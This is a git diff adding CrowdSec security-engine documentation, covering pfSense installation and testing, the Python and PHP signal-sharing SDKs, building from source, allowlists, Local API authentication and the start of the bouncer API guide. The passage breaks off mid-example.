+## Detecting attacks + +If a Log Processor is running, the following scenarios are enabled by default: + + - portscan + - ssh brute-force + - pfSense admin UI brute-force + - HTTP vulnerability probing + +These will trigger a ban on the attacking IP (4 hours by default) and report it to the CrowdSec Central API +(meaning [timestamp, scenario, attacking IP](https://docs.crowdsec.net/docs/concepts/), for inclusion in the +Community Blocklist. + +You can add scenarios to detect other types of attack on the pfSense server, or +[connect several log processors](https://doc.crowdsec.net/docs/next/user_guides/multiserver_setup) +to the same LAPI node. +Other types of remediation are possible (ex. captcha test for scraping attempts). + +If disk space is not an issue, you can [increase the maximum size](https://docs.netgate.com/pfsense/en/latest/monitoring/logs/size.html) +of log files before they are compressed and rotated. This will help us in case you report +acquisition issues and we need to match the application behavior with the content of the acquired logs. + +We recommend you to [register to the Console](https://app.crowdsec.net/), especially if you protect several machines. + + +## Processing logs + +If a collection, parser or scenario can be applied to a software that you are running on pfSense, +you add it with `cscli collections install ...`, then you need to configure where CrowdSec will find the logs. + +New acquisition files should go in `/usr/local/etc/crowdsec/acquis.d/`. See `pfsense.yaml` for an example. +The option `poll_without_inotify: true` is required if the log sources are symlinks. +Make sure to reload or restart CrowdSec when you add new data sources. + + +## Diagnostics + +Under `Diagnostics/CrowdSec Metrics` you can check if the logs are acquired and the +events are triggered correctly. + + +![Diagnostics acquisition](/img/pfsense/diagnostic-metrics-acquisition.png) + + + +![Diagnostics local api](/img/pfsense/diagnostic-metrics-local-api.png) + + + +For real monitoring, you can fetch the same metrics with +[Prometheus](https://docs.crowdsec.net/docs/observability/prometheus/) (Grafana dashboard included) +Telegraf or your favorite solution. + +If you are not running a LAPI or a Log Processor, some metrics are always empty. + + +## Logs + +You can see the Security Engine logs in `Status/System Logs/Packages/crowdsec`. + + +![Logs](/img/pfsense/logs.png) + +Other logs not shown in the UI are in `/var/log/crowdsec/crowdsec_api.log` +and `crowdsec-firewall-bouncer.log`. + + +## Service Management + +Both services, Security Engine (crowdsec) and Remediation (crowdsec-firewall-bouncer) can be controlled from `Status/Services`. + +![Services](/img/pfsense/status-services.png) + + +The equivalent shell commands are `service crowdsec.sh start/stop/restart` and `service crowdsec_firewall.sh start/stop/restart`. Note the ending **.sh**! + +## Viewing blocked IPs + +You can see the tables of the blocked IPs in `Diagnostics/Tables` + +![Blocked IPs](/img/pfsense/blocked-ips.png) + + +Or from the shell, with the commands +`pfctl -T show -t crowdsec_blacklists` (IPv4) and `pfctl -T show -t crowdsec6_blacklists` (IPv6). + +To show the same data with more context, use `cscli decisions list -a`. + +## Testing + +A quick way to test that everything is working correctly end-to-end is to +execute the following command. + +Your ssh session should freeze and you should be kicked out from +the firewall. You will not be able to connect to it (from the same +IP address) for two minutes. + +It might be a good idea to have a secondary IP from which you can +connect, should anything go wrong. + +```console +# cscli decisions add -t ban -d 2m -i +```` + +You may have to disable the *Anti-lockout* rule in +`System/Advanced/Admin Access` for the time of the test. + +This is a more secure way to test than attempting to brute-force +yourself: the default ban period is 4 hours, and CrowdSec reads the +logs from the beginning, so it could ban you even if you failed ssh +login 10 times in 30 seconds two hours before installing it. + +It must be noted that the [Login Protection](https://docs.netgate.com/pfsense/en/latest/config/advanced-admin.html#login-protection) service which is enabled by default on pfSense can be triggered - and block a brute force attacker - before CrowdSec does, because it's more sensitive. Still, some attacks that are not detected by Login Protection will be detected by CrowdSec and shared. +If you need more CrowdSec tests you may want to temporarily disable Login Protection, depending on the scenario. + +## LAN / private networks whitelist + +Since crowdsec 1.6.3, private IP networks are whitelisted by default as well. This means for example an IP from a LAN or WAN which is on 192.168.x.y won't get blocked by a local decision +(community blocklists don't contain private IPs). + +If you want to revert to the previous behavior, to block private IPs as well, you can remove the related parser. + +```console +[root@OPNsense ~]# cscli parsers remove crowdsecurity/whitelists +``` + +If on the other hand you upgrade from a version before 1.6.3, you need to install the lists yourself. + + +## Uninstalling + +In most cases, just remove the `crowdsec` package from +`System/Package Manager/Installed Packages`, or run the installation script with the --uninstall option. +This won't remove the database or configuration files, just in case +you want to reinstall CrowdSec later. + +If you need to make sure you removed all traces of CrowdSec, you can run the following commands: + +```console +# pkg remove pfSense-pkg-crowdsec crowdsec crowdsec-firewall-bouncer +# rm -rf /usr/local/etc/crowdsec /usr/local/etc/rc.conf.d/crowdsec* +# rm -rf /var/db/crowdsec /var/log/crowdsec* /var/run/crowdsec* +``` + +For testing purposes, you may want to remove the <crowdsec> section +from `/conf/config.xml` as well. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pyagent.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pyagent.md new file mode 100644 index 000000000..4a885348a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_pyagent.md @@ -0,0 +1,168 @@ +--- +id: install_pyagent +title: Python Soft Agent +sidebar_position: 1 +--- + +# Using our Python SDK + + This python SDK is designed for signal sharing partners to send signals and benefit from the community blocklist. + +Our SDK does the heavy lifting of the CAPI connectivity so you can simply, sendSignals and getDecisions, as well as enroll your soft-agent into the console. + +# Installation + +Make sure you have **Python 3.9+** installed. + +## From source + +```bash +pip install git+https://github.com/crowdsecurity/python-capi-sdk +``` + + +# Usage Guide + +Here is a quick example of how to use the SDK to send signals to the API. + +```python +from cscapi.client import CAPIClient, CAPIClientConfig +from cscapi.sql_storage import SQLStorage +from cscapi.utils import create_signal, generate_machine_id_from_key + +config = CAPIClientConfig( + scenarios=["crowdsecurity/ssh-bf", "acme/http-bf"], + # Scenarios you're sending signals for + user_agent_prefix="mycompany" + # Prefix for the user agent used to make calls to CrowdSec API +) +client = CAPIClient( + storage=SQLStorage(connection_string="sqlite:///cscapi.db"), + config=config +) + +# Fetch signals from your data, and convert it into format accepted by CrowdSec +signals = [ + create_signal( + attacker_ip="", # Replace this with value from your signals + scenario="crowdsecurity/ssh-bf", + created_at="2023-11-17 10:20:46 +0000", + machine_id=generate_machine_id_from_key(key="", prefix="mycompany"), + # set value of key to something that's unique to a machine from which this signal has originated from. Eg IP + + ) +] + +# This stores the signals in the database +client.add_signals(signals) + +# This sends all the unsent signals to the API. +# You need to chron this call to send signals periodically. +client.send_signals() + +# This enrolls the specified machines in the CrowdSec Console. +# This is a one time operation for each machine id you want to enroll. +client.enroll_machines( + machine_ids=[generate_machine_id_from_key("", prefix="mycompany")], + attachment_key="ckqlyuz9700000vji4xxxxxxz" + name="mymachine", tags=["ssh-honeypot"] +) + +# This fetches decisions for the specified machine id and ip. +# This machine id must be validated by CrowdSec Team. +decisions = client.get_decisions( + main_machine_id = "validated_machine_id", +) + +``` + +To obtain attachment key for enrolling a machine see [this doc](/u/getting_started/post_installation/console/#engines-page) + +See reference section for more details. + +## Good practices + +- Don't call `send_signals` too often. Once every 5-20 minutes is a good frequency. +- Call `enroll_machines` only once for each machine you want to enroll. +- Call `get_decisions` 0.5-4 hours + +# Reference + +#### `cscapi.client.CAPIClientConfig` +```python +cscapi.client.CAPIClientConfig( + scenarios: List[str], + max_retries: int = 3, + latency_offset: int = 10, + user_agent_prefix: str = "", + retry_delay: int = 5) + +``` + +This class contains configuration for the client. + +Constructor Parameters: + +- `scenarios`: A list of scenarios that you want to send signals for. +- `max_retries`: Maximum number of retries to make when sending signals to the API. +- `latency_offset`: Offset to calculate machin login expiration. +- `user_agent_prefix`: Prefix for the user agent used to make calls to CrowdSec API. +- `retry_delay`: Delay between retries when sending signals to the API + +#### `cscapi.client.CAPIClient(storage: StorageInterface, config: CAPIClientConfig)` + +This is the main class that you will use to interact with the CrowdSec API. + +Contructor Parameters: + +- `storage`: An instance of a class that implements `StorageInterface`. This is used to store signals that are sent to the API. +- `config`: An instance of `CAPIClientConfig` that contains configuration for the client. + + +#### `CAPIClient.add_signals(self, signals: List[SignalModel])` + +This method takes a list of `SignalModel` instances and stores them using the provided storage interface. + +#### `CAPIClient.send_signals(self, prune_after_send: bool = True)` + +This method sends all unsent signals to CrowdSec. If `prune_after_send` is set to `True` (which is the default), signals are removed from the storage after they are sent. + +#### `CAPIClient.enroll_machines(self, machine_ids: List[str], name: str, attachment_key: str, tags: List[str])` + +This method enrolls the specified machines in the CrowdSec Console. This is a one time operation for each machine id you want to enroll. + +#### `CAPIClient.get_decisions(self, machine_id: str, ip: str)` + +This method fetches decisions for the specified machine id and ip. This machine id must be validated by CrowdSec Team. + +## `cscapi.utils` + +This module contains utility functions that you can use to create signals and generate machine ids. + +#### `cscapi.utils.create_signal(attacker_ip: str, scenario: str, created_at: str, machine_id: str, **kwargs)` + +This method creates a `cscapi.storage.SignalModel` instance from the provided parameters. + + +#### `cscapi.utils.generate_machine_id_from_key(key: str, prefix: str)` + +This method generates a machine id from the provided key and prefix. Generated machine is is always same for a given key and prefix. + +#### `cscapi.storage.SQLStorage` + +This class implements `cscapi.storage.StorageInterface` and can be used to store signals in a SQL database. + +Constructor Parameters: + +- `connection_string`: Connection string for the SQL database. See [SQLAlchemy documentation](https://docs.sqlalchemy.org/en/14/core/engines.html#database-urls) for more details. + +#### `cscapi.storage.StorageInterface` + +This is an interface that you can implement to store signals in your own storage. You can use the provided `SQLStorage` class to store signals in a SQLite database. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_softagent.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_softagent.md new file mode 100644 index 000000000..191afe393 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_softagent.md @@ -0,0 +1,88 @@ +--- +id: install_softagent +title: Soft Agent +sidebar_position: 1 +--- + +# Using our PHP SDK + +With the help of our SDK, If you are developing security software that detects misbehaviors and does remediation on IPs, you can send signals about your detections and benefit from the community blocklist. + +Our SDK do the heavy lifting of the CAPI connectivity so you can simply, sendSignals, getDecisions and getRemediationForIp, as well as enrolling your soft-agent into the console + +![Possible integration](/img/php-libs-crowdsec-overview.jpg) + +## PHP CAPI client + Remediation Engine + +The [php-capi-client](https://github.com/crowdsecurity/php-capi-client) will deal automatically with connecting to CAPI and renewing the token when necessary. +Provides the following public functions: +* pushSignals(array $signals) +* getStreamDecisions() +* enroll(...) + +The [php-remediation-engine](https://github.com/crowdsecurity/php-remediation-engine) is built on top of the php-capi-client and provides decisions caching and querying utility. +This way you can let it worry about the blocklist update and expiration of decisions. +It provides the following public functions: +* getIpRemediation(string $ip) + * Returns the recommended remediation for an IP +* refreshDecisions() + * Called periodically by a cron for example + * Read the [good practices](#good-practices) to know more about the frequency of refreshing + +You can refer to the very detailed Developer and Installation guides linked in the repository to know more about it. + +## Good practices + +### php-capi-client +Via the php-capi-client your soft-agent is identified by CAPI via a randomly generated **machineId** and **password**. +The **machineId** is what links your endpoint to your console account when you enroll. + +The rules are : +* The [**machineId-password**] couple **MUST NOT** change after having been validated by CAPI. +* Do not copy them for your other endpoints: the **machineId** must be unique for your endpoint +* You can configure a **prefix** for the **machineId** if you need to. Once set, avoid changing the **machine_id_prefix** as it will result in resetting the credentials + +### php-remediation-engine + +You will call the decisions-list/blocklist refresh via cron or schedulers. +* Call the decisions-refresh **no more** than once every 2 hours. + * The blocklist is not likely to have drastically changed in 2 hours + * Although too often is not good we still recommend refreshing once a day + +### Your signals + +When you remediate locally a misbehavior, you would generate a signal for the corresponding scenario + +**There are 2 types of signals**: +* decisions: when your security module triggers remediation on an IP (block or captcha) for some misbehaviors (brute force, spam, trying to access a file known for ) +* whispers: behaviors that can seem trivial and may occur only once on your site but might result in identifying a malicious actor if he does the same action on hundreds of sites + +**Examples of decision signals:** +* brute force on login-form +* contact form spam (either by repetition or if you have a way to identify spam content of the sent message like commercial links, known scams ...) +* trying to access a file known for a vulnerability (may it be on your type of system or another) +* credit card stuffing +... + +**Example of Whisper signals** +* 404 + +Please get in touch with us to validate + +When sending signals the name of your scenario must follow this convention **^[a-z0-9_-]+\/[a-z0-9_-]+$** example **mysecmodule/login-bruteforce** + +For categories of behaviors, you can refer to our behaviors list in the [taxonomy ](https://doc.crowdsec.net/docs/next/u/cti_api/taxonomy/#behaviors) + +(!) **Avoid spamming CAPI with signals:** + +Ideally, save them to a buffer and send the buffer periodically +* Frequency of emission: between 10 seconds and 10 minutes depending on how big the buffer gets in that period +* However, don't send more than 250 signals in a single call + +### User-agent + +Via the configuration or the php-capi-client you can set a user-agent. + +This user agent will be set for queries towards CAPI and allow us to do a finer analysis of the signals sent by your security solution. + +See the [User Guide](https://github.com/crowdsecurity/php-capi-client/blob/main/docs/USER_GUIDE.md#user-agent-suffix) for more info \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_source.mdx b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_source.mdx new file mode 100644 index 000000000..3d7177b47 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_source.mdx @@ -0,0 +1,202 @@ +--- +id: install_source +title: Compile from source +sidebar_position: 1 +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; + +:::warning +This is only for advanced users that wish to compile their own software. If you are not comfortable with this, please use the [official packages](/getting_started/getting_started.md) +::: + +We define systems by their underlying distribution rather than a fork or modification of a distribution. For example, Ubuntu and Debian are both Debian based distributions, so they will share the same instructions as the term DEB. Centos and Fedora are both Redhat based distributions, so they will share the same instructions as the term RPM. Arch is just Arch, so it will have its own instructions. + + +## Dependencies + +### Required +- Golang [Check go.mod file for version needed](https://github.com/crowdsecurity/crowdsec/blob/master/go.mod) + - Most of the time your distribution package manager will not have the version (check with your package manager firstly if they do), you will need to install it from the official website. + - If your shell is bash and you have sudo access you can use this [install script](https://gist.github.com/LaurenceJJones/aacedfd4438a811780951b2c40431e3a) +- Make + + + apt install make + + + + dnf install make + + + pacman -S make + + +- GCC + + + apt install gcc + + + + dnf install gcc + + + pacman -S gcc + + +- pkg-config + + + apt install pkg-config + + + + dnf install pkg-config + + + pacman -S pkg-config + + + +### Optional + +- RE2 + + + apt install libre2-dev g++ + + + + dnf install libre2-dev g++ + + + pacman -S re2 base-devel + + + +## Walkthrough + +If you would like to see a walkthrough of compiling CrowdSec from source then you can watch the following video. + + + +### Clone + +```bash +git clone https://github.com/crowdsecurity/crowdsec +cd crowdsec +``` + +### Build + +```bash +make [build_flags] build +``` + +#### Build flags + +##### Optional + +- `BUILD_VERSION=v1.2.3` - The version you want to build. This will default to the latest version, however, if you fork the project then you will need to use this flag. + +:::info +Do not use a version we have already released as you will get old hub parsers. We recommend using the latest tag from the [releases page](https://github.com/crowdsecurity/crowdsec/releases/latest). +::: + +- `BUILD_STATIC=1` - Build a static binary: + - DEB: none + - RPM/Arch: + - RPM: Enable crb repo + - RPM: `sudo yum install glibc-static libstdc++-static` + - RPM/Arch: compile RE2 from source [install script](https://gist.github.com/LaurenceJJones/d17f7839b03acbe0e4e879fd60f4b433) as the version provided by package managers does not include the static library. + +:::info What is a static build? +Static builds are builds that do not require any external dependencies to run. This means a compiled binary on your system will work on any other system running your architecture and linux/windows/freebsd. As an example if I compile a static build on my Arch Linux machine, I can copy that binary to a Debian machine and it will work without any issues. +::: + +- `BUILD_RE2_WASM=1` - Build the RE2 WASM library +:::info +By default we try to build with RE2 library from libraries provided by OS (We define it as optional since this build flag overrides it). We recommend that you build with RE2 from libraries as it is faster and more performant than the WASM version. +::: + +## Optimal build flags +The following build flags are what we recommend you use when building CrowdSec. + +#### Binary will run on different machine (Built on dev machine then copied to production machine) + +```bash +make BUILD_STATIC=1 release +``` + +Then you can copy the `crowdsec-release.tgz` file to your production machine and extract it. + +#### Binary will only run on your machine (Testing new features) + +```bash +make build +``` + +If you run into any issues when compiling please join our [discord](https://discord.gg/crowdsec) and ask for help. Please provide the output of the build command and the error you are getting. + +## Wizard.sh + +We provide a wizard.sh script that will help you install, update and uninstall CrowdSec. + +### Installing + +Once the binaries have been built you can install them using the wizard.sh file in the root of the repo or release folder. This will install the binaries, systemd service files and create the required directories. + +```bash +sudo ./wizard.sh -i +``` + +If you would like to have a hands off installation then you can provide the `-unattended` flag to the wizard.sh script. + +### Updating + +To update CrowdSec you can use the wizard.sh file in the root of the repo or release folder. This will update the binaries, systemd service files and create the required directories. + +```bash +sudo ./wizard.sh --binupgrade +``` + +If you have compiled CrowdSec with the same build version as the one installed then you can use the `--force` flag to force the update. + +### Uninstalling + +To uninstall CrowdSec you can use the wizard.sh file in the root of the repo or release folder. This will remove the binaries, systemd service files and delete the required directories. + +```bash +sudo ./wizard.sh --uninstall +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx new file mode 100644 index 000000000..04679bd9e --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx @@ -0,0 +1,21 @@ +--- +id: sdk_intro +title: introduction to the SDKs +sidebar_position: 1 +--- + +CrowdSec offers lightweight SDKs for Python and PHP to help developers seamlessly integrate signal sharing capabilities into their security tools, platforms, or services. + +By using these SDKs, you can report signals such as suspicious IP activity or confirmed attacks directly to the Central API (CAPI). In return, your users gain access to the CrowdSec Community Blocklist, a curated and constantly updated list of IPs involved in malicious behavior observed across the global CrowdSec network. + +Why Integrate the SDK: +- **Simple Integration** — Add signal sharing with just a few lines of code +- **Community-Powered Protection** — Contributions help power our global threat intelligence network +- **Mutual Benefit** — Your platform shares valuable intelligence and gains stronger real-time protection in return + +## Supported SDKs + +* [Python SDK](install_pyagent) +* [PHP SDK](install_softagent) + +Whether you're building a WAF, SIEM, or a custom security tool, the CrowdSec SDKs make it easy to contribute to and benefit from a collaborative defense network. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx new file mode 100644 index 000000000..eb256f250 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx @@ -0,0 +1,84 @@ +--- +title: Introduction +id: intro +--- + +import useBaseUrl from "@docusaurus/useBaseUrl" +import AcademyPromo from "@site/src/components/academy-promo" + +# Security Engine Overview + +The [CrowdSec Security Engine](https://github.com/crowdsecurity/crowdsec) is an open-source, lightweight software that detects and blocks malicious actors from accessing your systems at various levels, using log and HTTP Requests analysis with threat patterns called scenarios. + +CrowdSec is a modular security tool offering [behavior-based detection](https://app.crowdsec.net/hub/collections), including [AppSec rules](https://app.crowdsec.net/hub/appsec-rules), and optional components to block threats called [Remediation Components](https://app.crowdsec.net/hub/bouncers) + +
+
+ +
+
+    + +The crowd-sourced aspect allows the sharing of attacks they detected and blocked. Participants of this crowd-sourced threat intel receive, automatically via the security engine, a curated list of validated attackers (community blocklist) enhancing their real-time protection capabilities by taking preemptive actions against known threats. + +## Main Features + +In addition to the core "detect and react" mechanism, CrowdSec is committed to several other key aspects: + +- **Easy Installation**: Effortless out-of-the-box installation on all [supported platforms](/u/getting_started/intro). +- **Simplified Daily Operations**: You have access to our Web UI administration via [CrowdSec's console](http://app.crowdsec.net) or the powerful [Command line tool cscli](/cscli/cscli.md) for effortless maintenance and keeping your detection mechanisms up-to-date. +- **Reproducibility**: The Security Engine can analyze not only live logs but also [cold logs](/u/user_guides/replay_mode), making it easier to detect potential false triggers, conduct forensic analysis, or generate reports. +- **Versatile**: The Security Engine can analyze [system logs](/docs/data_sources/intro) and [HTTP Requests](/docs/next/appsec/intro) to exhaustively protect your perimeter. +- **Observability**: Providing valuable insights into the system's activity: + - Users can view/manage alerts from the ([Console](https://app.crowdsec.net/signup)). + - Operations personnel have access to detailed Prometheus metrics ([Prometheus](/observability/prometheus.md)). + - Administrators can utilize a user-friendly command-line interface tool ([cscli](/observability/cscli.md)). +- **API-Centric**: All components communicate via an [HTTP API](/local_api/intro.md), facilitating multi-machine setups. + +## Architecture + +
+
+ +
+
+ +Under the hood, the Security Engine has various components: + +- The [Log Processor](log_processor/intro.mdx) is in charge of detection: it analyzes logs from [various data sources](data_sources/intro) or [HTTP requests](appsec/intro) from web servers. +- The [Appsec](appsec/intro) feature is part of the Log Processor and filters HTTP Requests from the compatible web servers. +- The [Local API](local_api/intro.md) acts as a middle man: + - Between the [Log Processors](/docs/data_sources/intro) and the [Remediation Components](/u/bouncers/intro) which are in charge of enforcing decisions. + - And with the [Central API](/central_api/intro.md) to share alerts and receive blocklists. +- The [Remediation Components](/u/bouncers/intro) - also known as bouncers - block malicious IPs at your chosen level—whether via IpTables, firewalls, web servers, or reverse proxies. [See the full list on our CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components) + +## Deployment options + +This architecture allows for both simple/standalone setups, or more distributed ones including as illustrated below: + +- Single machine ? Follow our [getting started guide](/u/getting_started/intro) +- Multiple machines? Use the [distributed setup guide](/u/user_guides/multiserver_setup) +- Already have a log pit (such as rsyslog or loki)? [Run crowdsec next to it](/u/user_guides/log_centralization), not on the production workloads +- Running Kubernetes? Have a look at [our helm chart](/u/getting_started/installation/kubernetes) +- Running containers? The [docker data source](/docs/data_sources/docker) might be what you need +- Just looking for a WAF? Look at [our quickstart](appsec/intro) + +Distributed architecture example: + +
+
+ +
+
+ + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md new file mode 100644 index 000000000..166e557eb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md @@ -0,0 +1,113 @@ +--- +id: centralized_allowlists +title: Allowlists +sidebar_position: 7 +--- + +# AllowLists + +The AllowLists feature in CrowdSec lets users manage IP-based allowlists at the LAPI level, affecting both local decisions and blocklist pulls. [Paying customers can also control AllowLists directly from the console for added convenience](/u/console/allowlists). This ensures greater flexibility in managing trusted IPs while maintaining CrowdSec’s robust security measures. + + +The AllowLists affect local decision and blocklist pulls in different ways: + +| Area | Action | Real Time | +|-------|------|------| +| Local alerts | Alert is dropped, action logged. | ✅ | +| Blocklists | IP is removed before database insertion | ✅ | +| WAF (AppSec) | Request not blocked, action logged. | Refreshed every minute | +| cscli | Decision is blocked unless special flag is provided | ✅ | + + +AllowLists are limited to IP/Range based rules. If you need rules that rely on log elements such as URL and so on, [Parser Whitelists](/log_processor/whitelist/introduction.md) or [Profile Rules](/local_api/profiles/format.md) might more relevant. + + +### Creating an allowlist + +Allowlists creation is done with `cscli allowlists create`, for example: `cscli allowlists create my_allowlistd -d safe_ips`. + +The `-d` parameter is mandatory, it's a description for the allowlist for future reference: +```bash +$ cscli allowlists create my_allowlist --description "test allowlist" +allowlist 'my_allowlist' created successfully +``` + +This command must be run on the LAPI. + +### Adding entries to an allowlist + +Adding new entries to an allowlist is done with `cscli allowlists add value_1 value_2 ...`. + +The allowlist must exist. + +By default, allowlist entries have no expiration, but you can specify one with the `-e` flag: + +```bash +$ cscli allowlist add my_allowlist 1.2.3.4 -e 7d +added 1 values to allowlist my_allowlist +``` + +Values can be either IPs or ranges. + +You can add an optional description for each entry with the `-d` flag: + +```bash +$ cscli allowlists add my_allowlist 1.2.3.4 -e 7d -d "pentest IPs" +added 1 values to allowlist my_allowlist +``` + +You cannot add the same values twice to an allowlist: if you want to edit an entry, you'll need to remove it first then add it again. + +This command must be run on the LAPI. + + +### Removing entries from an allowlist + +Removing entries from an allowlist is done with `cscli allowlists remove value_1 value_2 ...`: +```bash +$ cscli allowlists remove my_allowlist 1.2.3.4 +removed 1 values from allowlist my_allowlist +``` + +This command must be run on the LAPI. + + +### Viewing the content of an allowlist + +Allowlists can be inspected with `cscli allowlists inspect `: + +```bash +$ cscli allowlist inspect my_allowlist + +────────────────────────────────────────────── + Allowlist: my_allowlist +────────────────────────────────────────────── + Name my_allowlist + Description test allowlist + Created at 2025-03-06T13:14:42.957Z + Updated at 2025-03-06T13:15:13.684Z + Managed by Console no +────────────────────────────────────────────── + +────────────────────────────────────────────────────────────────────────────────── + Value Comment Expiration Created at +────────────────────────────────────────────────────────────────────────────────── + 1.2.3.4 example description 2025-03-13T13:15:05.046Z 2025-03-06T13:14:42.957Z + 5.4.3.2 never 2025-03-06T13:14:42.957Z +────────────────────────────────────────────────────────────────────────────────── +``` + +This command can be run on the LAPI or any log processor machine. + +### Deleting an allowlist + +Allowlists can be deleted with `cscli allowlists delete `: + +```bash +$ cscli allowlists delete my_allowlist +allowlist 'my_allowlist' deleted successfully +``` + +The allowlist and all of its content will be deleted. + +This command must be run on the LAPI. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/authentication.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/authentication.md new file mode 100644 index 000000000..85df5046b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/authentication.md @@ -0,0 +1,75 @@ +--- +id: authentication +title: Authentication +sidebar_position: 5 +--- + + + +## Authentication + +There are three kinds of authentication to the Local API : + +1. API Keys: they are used to authenticate Remediation Components (bouncers) and can only read decisions +2. Login/Password: they are used to authenticate Log Processors (machines) and can read, create and delete decisions +3. TLS client certificates: + - they are used to authenticate Remediation Components (bouncers) and Log Processors (machines) + - based on the OU field of the certificate, the Local API will determine what permissions the client has as per the restrictions above (log processor or remediation components) + - this allows the Local API to authenticate clients without generating the clients before hand if you have a dynamic environment + +For TLS authentication please see our [dedicated documentation](/local_api/tls_auth.md). + +### Remediation Components (Bouncers) + +To register a Remediation Component to your API, you need to run the following command on the server where the API is installed: + +```bash +sudo cscli bouncers add testBouncer +``` + +and keep the generated API token to use it in your Remediation Component configuration file. + +### Log Processors (machines) + +To allow a log processor to communicate with the Local API, each instance will need it own set of credentials which is validated by an admin of the Local API. + +There are two ways to register a CrowdSec to a Local API. + +1. You can generate credentials directly on the Local API server: + +```bash +sudo cscli machines add testMachine +``` + +:::warning +if you are running this command on the local API server, most likely it will already have it own credentials file. If you are generating credentials for a remote machine you must pass the `-f` flag to generate the credentials to another file. + +```bash +sudo cscli machines add testMachine -f /path/to/credentials.yaml +``` +or +```bash +sudo cscli machines add testMachine -f- > /path/to/credentials.yaml +``` +::: + +Upon installation of CrowdSec it will generate it own set of credentials to operate the log processor and local API server. + +If you are installing these credentials on a remote machine, you must replace the `local_api_credentials.yaml` file within the configuration directory, you can find the location of this directory [here](/u/troubleshooting/security_engine#where-is-configuration-stored) based on your operating system. + +2. You can use `cscli` to send a registration request to the Local API server: + +```bash +sudo cscli lapi register -u +``` + +And validate it with `cscli` on the server where the API is installed: + +```bash +sudo cscli machines validate +``` + +:::info +You can use `cscli machines list` to list all the machines registered to the API and view the ones that are not validated yet. +::: + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/bouncers-api.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/bouncers-api.md new file mode 100644 index 000000000..de81d700f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/bouncers-api.md @@ -0,0 +1,261 @@ +--- +id: bouncers +title: For Remediation Components +sidebar_position: 2 +--- + +:::info +This page explains how to interact with the local API exposed by the `Security Engine`. + +It's meant to be useful for system administrators, or users that want to create their own remediation components. +::: + +## Introduction + +This documentation only covers the API usage from the remediation component POV : + + - Authentication via API token (rather than JWT as Security Engine/cscli) + - Reading decisions + +This guide will assume that you already have a `Security Engine` running locally. + +## Authentication + +:::info +Remediation Components will be referred to as "bouncers" within cscli commands. +::: + +Existing tokens can be viewed with `cscli bouncers list` : + +``` +# cscli bouncers list +------------------------------------------------------------------------------------------- + NAME IP ADDRESS VALID LAST API PULL TYPE VERSION +------------------------------------------------------------------------------------------- + cs-firewall-bouncer-hPrueCas ✔️ 2021-02-25T19:54:46+01:00 +------------------------------------------------------------------------------------------- +``` + +Let's create a new token with `cscli bouncers add MyTestClient` : + +``` +# cscli bouncers add MyTestClient +Api key for 'MyTestClient': + + 837be58e22a28738066de1be8f53636b + +Please keep this key since you will not be able to retrieve it! + +``` + +This is the token that we will use to authenticate with the API : + +```bash +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" -I localhost:8080/v1/decisions +HTTP/1.1 200 OK +Content-Type: text/plain; charset=utf-8 +Date: Fri, 26 Feb 2021 12:35:37 GMT +``` + +Note: if the token is missing or incorrect, you will get a **403** answer. + +## API Usage + +As stated in the [swagger documentation](https://crowdsecurity.github.io/api_doc/lapi/), Remediation Components methods are restricted to the `/decisions` path. They allow to query the local decisions in two modes : + + - stream mode : Intended for bouncers that will - on a regular basis - query the local api for new and expired/decisions + - query mode : Intended for bouncers that want to query the local api about a specific ip/range/username etc. + + +## Query Mode + +To have some data to query for, let's add two decisions to our local API + +```bash +▶ sudo cscli decisions add -i 192.168.1.1 +INFO[0000] Decision successfully added +▶ sudo cscli decisions add -r 2.2.3.0/24 +INFO[0000] Decision successfully added +▶ sudo cscli decisions list ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ +| 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 3h59m18.079301785s | 1164 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +| 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 3h59m11.079297437s | 1163 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ + +``` + +### Query mode : IP + + +```bash title="Query a single banned IP" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip=192.168.1.1 +[{"duration":"3h51m57.363171728s","id":2336,"origin":"cscli","scenario":"manual 'ban' from 